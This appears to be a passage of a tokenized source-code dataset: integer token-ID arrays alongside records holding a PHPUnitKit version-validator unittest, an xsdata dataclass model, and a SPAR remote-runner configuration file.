467,
29911,
13,
572,
29873,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29900,
1402,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29896,
1402,
274,
2433,
29895,
742,
269,
29922,
29945,
29900,
29889,
29900,
29892,
17456,
2433,
29974,
1495,
13,
572,
29873,
29889,
29916,
2576,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
3782,
1799,
29918,
29924,
29918,
29906,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
572,
29873,
29889,
4532,
29898,
29941,
29897,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29900,
29897,
13,
29894,
29887,
4317,
29918,
7707,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
29898,
29876,
29918,
14036,
29922,
29968,
29897,
13,
29894,
29887,
4317,
29918,
7707,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
302,
29918,
695,
504,
414,
29922,
29896,
29900,
29892,
9867,
29918,
5696,
543,
3782,
1799,
1159,
13,
29894,
29887,
4317,
29918,
7707,
29889,
2589,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29918,
7707,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29916,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
29916,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
467,
29911,
13,
572,
29873,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29900,
1402,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29896,
1402,
274,
2433,
29895,
742,
269,
29922,
29945,
29900,
29889,
29900,
29892,
17456,
2433,
29974,
1495,
13,
572,
29873,
29889,
29916,
2576,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
3782,
1799,
29918,
29924,
29918,
29896,
29900,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
13,
572,
29873,
29889,
4532,
29898,
29946,
29897,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29900,
29897,
13,
29894,
29887,
4317,
29918,
7707,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
29898,
29876,
29918,
14036,
29922,
29968,
29897,
13,
29894,
29887,
4317,
29918,
7707,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
302,
29918,
695,
504,
414,
29922,
29896,
29900,
29892,
9867,
29918,
5696,
543,
8172,
1159,
13,
29894,
29887,
4317,
29918,
7707,
29889,
2589,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29918,
7707,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29916,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
29916,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
467,
29911,
13,
572,
29873,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29900,
1402,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29896,
1402,
274,
2433,
29895,
742,
269,
29922,
29896,
29900,
29900,
29889,
29900,
29892,
17456,
2433,
29974,
1495,
13,
572,
29873,
29889,
29916,
2576,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
17875,
29918,
29924,
29918,
29896,
29900,
29918,
29900,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
572,
29873,
29889,
4532,
29898,
29945,
29897,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29906,
29941,
29946,
29945,
29953,
29897,
13,
29894,
29887,
4317,
29918,
7707,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
29898,
29876,
29918,
14036,
29922,
29968,
29897,
13,
29894,
29887,
4317,
29918,
7707,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
302,
29918,
695,
504,
414,
29922,
29896,
29900,
29892,
9867,
29918,
5696,
543,
8172,
1159,
13,
29894,
29887,
4317,
29918,
7707,
29889,
2589,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29918,
7707,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29916,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
29916,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
467,
29911,
13,
572,
29873,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29900,
1402,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29896,
1402,
274,
2433,
29895,
742,
269,
29922,
29896,
29900,
29900,
29889,
29900,
29892,
17456,
2433,
29974,
1495,
13,
572,
29873,
29889,
29916,
2576,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
17875,
29918,
29924,
29918,
29896,
29900,
29918,
29896,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
572,
29873,
29889,
4294,
580,
2
] |
tests/test_is_valid_php_version_file_version.py | gerardroche/sublime-phpunit | 85 | 9061 | from PHPUnitKit.tests import unittest
from PHPUnitKit.plugin import is_valid_php_version_file_version
class TestIsValidPhpVersionFileVersion(unittest.TestCase):
def test_invalid_values(self):
self.assertFalse(is_valid_php_version_file_version(''))
self.assertFalse(is_valid_php_version_file_version(' '))
self.assertFalse(is_valid_php_version_file_version('foobar'))
self.assertFalse(is_valid_php_version_file_version('masterfoo'))
self.assertFalse(is_valid_php_version_file_version('.'))
self.assertFalse(is_valid_php_version_file_version('x'))
self.assertFalse(is_valid_php_version_file_version('x.x'))
self.assertFalse(is_valid_php_version_file_version('x.x.x'))
self.assertFalse(is_valid_php_version_file_version('x'))
self.assertFalse(is_valid_php_version_file_version('snapshot'))
def test_master_branch_version(self):
self.assertTrue(is_valid_php_version_file_version('master'))
def test_specific_semver_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.0.0'))
self.assertTrue(is_valid_php_version_file_version('5.0.1'))
self.assertTrue(is_valid_php_version_file_version('5.0.7'))
self.assertTrue(is_valid_php_version_file_version('5.0.30'))
self.assertTrue(is_valid_php_version_file_version('5.0.32'))
self.assertTrue(is_valid_php_version_file_version('5.1.0'))
self.assertTrue(is_valid_php_version_file_version('5.1.1'))
self.assertTrue(is_valid_php_version_file_version('5.1.3'))
self.assertTrue(is_valid_php_version_file_version('5.1.27'))
self.assertTrue(is_valid_php_version_file_version('7.0.0'))
self.assertTrue(is_valid_php_version_file_version('7.1.19'))
def test_minor_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.6'))
self.assertTrue(is_valid_php_version_file_version('7.1'))
self.assertTrue(is_valid_php_version_file_version('7.2'))
def test_major_dot_x_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.x'))
self.assertTrue(is_valid_php_version_file_version('6.x'))
self.assertTrue(is_valid_php_version_file_version('7.x'))
self.assertTrue(is_valid_php_version_file_version('8.x'))
def test_major_dot_minor_dot_x_versions(self):
self.assertTrue(is_valid_php_version_file_version('7.0.x'))
self.assertTrue(is_valid_php_version_file_version('7.1.x'))
self.assertTrue(is_valid_php_version_file_version('7.2.x'))
def test_snapshot_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.4snapshot'))
self.assertTrue(is_valid_php_version_file_version('5.5snapshot'))
self.assertTrue(is_valid_php_version_file_version('5.6snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.0snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.1snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.0.0snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.1.0snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.1.1snapshot'))
| [
1,
515,
5048,
8325,
13117,
29889,
21150,
1053,
443,
27958,
13,
13,
3166,
5048,
8325,
13117,
29889,
8582,
1053,
338,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
13,
13,
13,
1990,
4321,
3624,
7211,
4819,
29886,
6594,
2283,
6594,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
29918,
20965,
29918,
5975,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
525,
876,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
1181,
22872,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
6207,
5431,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
6169,
876,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29916,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29916,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29916,
29889,
29916,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29916,
8785,
13,
4706,
1583,
29889,
9294,
8824,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29879,
14551,
8785,
13,
13,
1678,
822,
1243,
29918,
6207,
29918,
17519,
29918,
3259,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
6207,
8785,
13,
13,
1678,
822,
1243,
29918,
14940,
29918,
12846,
369,
29918,
26100,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29900,
29889,
29900,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29900,
29889,
29896,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29900,
29889,
29955,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29900,
29889,
29941,
29900,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29900,
29889,
29941,
29906,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29896,
29889,
29900,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29896,
29889,
29896,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29896,
29889,
29941,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29896,
29889,
29906,
29955,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29900,
29889,
29900,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29896,
29889,
29896,
29929,
8785,
13,
13,
1678,
822,
1243,
29918,
1195,
272,
29918,
26100,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29953,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29896,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29906,
8785,
13,
13,
1678,
822,
1243,
29918,
21355,
29918,
6333,
29918,
29916,
29918,
26100,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29953,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29947,
29889,
29916,
8785,
13,
13,
1678,
822,
1243,
29918,
21355,
29918,
6333,
29918,
1195,
272,
29918,
6333,
29918,
29916,
29918,
26100,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29900,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29896,
29889,
29916,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29906,
29889,
29916,
8785,
13,
13,
1678,
822,
1243,
29918,
29879,
14551,
29918,
26100,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29946,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29945,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29945,
29889,
29953,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29900,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29896,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29900,
29889,
29900,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29896,
29889,
29900,
29879,
14551,
8785,
13,
4706,
1583,
29889,
9294,
5574,
29898,
275,
29918,
3084,
29918,
1961,
29918,
3259,
29918,
1445,
29918,
3259,
877,
29955,
29889,
29896,
29889,
29896,
29879,
14551,
8785,
13,
2
] |
tests/fixtures/annotations/model.py | akretion/xsdata | 0 | 188092 | <filename>tests/fixtures/annotations/model.py
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Optional
from tests.fixtures.annotations.units import unit
__NAMESPACE__ = "http://domain.org/schema/model"
@dataclass
class Measurement:
value: Optional[float] = field(
default=None,
metadata={
"required": True,
}
)
unit: Optional[unit] = field(
default=None,
metadata={
"type": "Attribute",
}
)
@dataclass
class Weight(Measurement):
class Meta:
namespace = "http://domain.org/schema/model"
| [
1,
529,
9507,
29958,
21150,
29914,
7241,
486,
1973,
29914,
6735,
800,
29914,
4299,
29889,
2272,
13,
3166,
4770,
29888,
9130,
1649,
1053,
25495,
13,
3166,
848,
13203,
1053,
848,
1990,
29892,
1746,
13,
3166,
19229,
1053,
28379,
13,
3166,
6987,
29889,
7241,
486,
1973,
29889,
6735,
800,
29889,
348,
1169,
1053,
5190,
13,
13,
1649,
5813,
5550,
11538,
1649,
353,
376,
1124,
597,
7247,
29889,
990,
29914,
11010,
29914,
4299,
29908,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
2191,
3745,
358,
29901,
13,
1678,
995,
29901,
28379,
29961,
7411,
29962,
353,
1746,
29898,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
15562,
3790,
13,
9651,
376,
12403,
1115,
5852,
29892,
13,
4706,
500,
13,
1678,
1723,
13,
1678,
5190,
29901,
28379,
29961,
5441,
29962,
353,
1746,
29898,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
15562,
3790,
13,
9651,
376,
1853,
1115,
376,
6708,
613,
13,
4706,
500,
13,
1678,
1723,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
1334,
523,
29898,
6816,
3745,
358,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
7397,
353,
376,
1124,
597,
7247,
29889,
990,
29914,
11010,
29914,
4299,
29908,
13,
2
] |
scripts-config/ta3/remote-runner-scripts/bbn_config.py | nathanawmk/SPARTA | 37 | 179346 | # *****************************************************************
# Copyright 2013 MIT Lincoln Laboratory
# Project: SPAR
# Authors: ni24039
# Description: Config file to be used with remote_runner.py
#
# Modifications:
# Date Name Modification
# ---- ---- ------------
# 10 Jan 2013 ni24039 Original Version
# *****************************************************************
import copy
# =============================================================================
# NOTE Put any convenience variables you may need in this area.
HOME_DIR = "/home/" + options.ssh_user + "/"
BASE_DIR = HOME_DIR + "spar-testing/"
# =============================================================================
# =============================================================================
# Base component
# NOTE Put any component settings here that will be common to all components.
base_component = Component()
# TODO(njhwang) seems like this doesn't work for large # of files...taking too
# long to hash files and diff them
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "test", HOME_DIR + "test"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "extern", HOME_DIR + "extern"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "jmiracl", HOME_DIR + "jmiracl"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "p3s-1.0", HOME_DIR + "p3s-1.0"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "includedir", HOME_DIR + "includedir"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "libdir", HOME_DIR + "libdir"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + ".m2", HOME_DIR + ".m2"))
# =============================================================================
# =============================================================================
# Third party component
# NOTE Include as many third party components as needed. The configuration for
# each one should look like the following. The name must start with
# 'third-party-'.
tp = copy.deepcopy(base_component)
tp.name = "third-party-ds"
tp.host = "10.10.99.218"
tp.start_index = 1
tp.executable = "./run-DS.sh"
tp.files[HOME_DIR + "run-DS.sh"] = "run-DS.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 10
config.add_component(tp)
tp = copy.deepcopy(base_component)
tp.name = "third-party-rs"
tp.host = "10.10.99.221"
tp.start_index = 2
tp.executable = "./run-RS.sh"
tp.files[HOME_DIR + "run-RS.sh"] = "run-RS.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 10
config.add_component(tp)
tp = copy.deepcopy(base_component)
tp.name = "third-party-ts"
tp.host = "10.10.99.214"
tp.start_index = 3
tp.executable = "./run-TS.sh"
tp.files[HOME_DIR + "run-TS.sh"] = "run-TS.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 5
config.add_component(tp)
tp = copy.deepcopy(base_component)
tp.name = "third-party-ara"
tp.host = "10.10.99.214"
tp.start_index = 4
tp.executable = "./run-ARA.sh"
tp.files[HOME_DIR + "run-ARA.sh"] = "run-ARA.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 5
config.add_component(tp)
# =============================================================================
# =============================================================================
# Publisher component
server = copy.deepcopy(base_component)
server.name = "server"
# NOTE Everything below should be updates as needed per SUT requirements.
#
# server.host should be updated as desired as the testing environment
# dictates. The muddler file that is run with this config file will reference a
# particular 'host info' file located in scripts-config/common/config/. The host
# info file will contain a list of all workstations in the environment with the
# following space-separated information:
# IP address, number of cores, model name, whether the system is hyperthreaded
#
# server.host should be set to one of the IP addresses in the host info file
# that will be used.
server.host = "10.10.99.219"
server.start_index = 5
server.executable = "./run-producer.sh"
server.files["/home/lincoln/extern/ta3/bin/run-producer.sh"] = "run-producer.sh"
server.num_cores = 2
# =============================================================================
config.add_component(server)
# =============================================================================
# Subscriber component
client = copy.deepcopy(base_component)
client.name = "client"
# NOTE client.host will be automatically populated by muddler. Whatever you set
# this to won't matter. client.host will eventually be set based on
# client.num_cores, how many clients are specified in the muddler, and which
# model names from the host info file are allowed to run client SUTs.
client.start_index = 6
client.host = "TBD"
client.executable = "./run-SUB-lincoln.sh"
# NOTE Everything below should be updates as needed per SUT requirements.
#
# If "%n" is present anywhere in client.args, it will be replaced with a
# unique integer representing the client SUT's ID. Take advantage of this when a
# SUT needs a unique argument of some sort. Otherwise, each SUT will receive the
# same arguments. client.args should NOT contain any semi-colons or double
# quotes.
client.files[HOME_DIR + "run-SUB-lincoln.sh"] = "run-SUB-lincoln.sh"
client.args = ["%n"]
client.num_cores = 1
# =============================================================================
config.add_component(client)
| [
1,
396,
334,
7775,
7775,
7775,
7775,
13,
29937,
29871,
14187,
1266,
29871,
29906,
29900,
29896,
29941,
341,
1806,
17274,
16715,
7606,
259,
13,
29937,
29871,
8010,
29901,
9651,
10937,
1718,
13,
29937,
29871,
13189,
943,
29901,
9651,
6836,
29906,
29946,
29900,
29941,
29929,
13,
29937,
29871,
12953,
29901,
4706,
12782,
934,
304,
367,
1304,
411,
7592,
29918,
27492,
29889,
2272,
13,
29937,
29871,
13,
29937,
29871,
3382,
8232,
29901,
13,
29937,
29871,
4712,
3986,
4408,
965,
3382,
2450,
13,
29937,
29871,
23250,
3986,
23250,
965,
448,
1378,
5634,
13,
29937,
259,
29896,
29900,
2627,
29871,
29906,
29900,
29896,
29941,
259,
6836,
29906,
29946,
29900,
29941,
29929,
4706,
8533,
10079,
13,
29937,
334,
7775,
7775,
7775,
7775,
13,
13,
5215,
3509,
13,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
29937,
6058,
29923,
12065,
738,
29703,
3651,
366,
1122,
817,
297,
445,
4038,
29889,
13,
17353,
29918,
9464,
353,
5591,
5184,
12975,
718,
3987,
29889,
15269,
29918,
1792,
718,
5591,
29908,
13,
25416,
29918,
9464,
259,
353,
29832,
2303,
29918,
9464,
718,
376,
29879,
862,
29899,
13424,
12975,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
25512,
13,
29937,
7399,
4163,
13,
29937,
6058,
29923,
12065,
738,
4163,
6055,
1244,
393,
674,
367,
3619,
304,
599,
7117,
29889,
13,
3188,
29918,
9700,
353,
15924,
580,
13,
29937,
14402,
29898,
29876,
29926,
26828,
574,
29897,
2444,
763,
445,
1838,
29915,
29873,
664,
363,
2919,
396,
310,
2066,
856,
29873,
5086,
2086,
13,
29937,
1472,
304,
6608,
2066,
322,
2923,
963,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
718,
376,
1688,
613,
29832,
2303,
29918,
9464,
718,
376,
1688,
5783,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
718,
376,
735,
725,
613,
29832,
2303,
29918,
9464,
718,
376,
735,
725,
5783,
13,
29937,
3188,
29918,
9700,
29889,
5325,
29889,
5504,
29898,
4422,
29889,
3757,
25397,
29918,
5325,
29918,
8977,
29898,
17353,
29918,
9464,
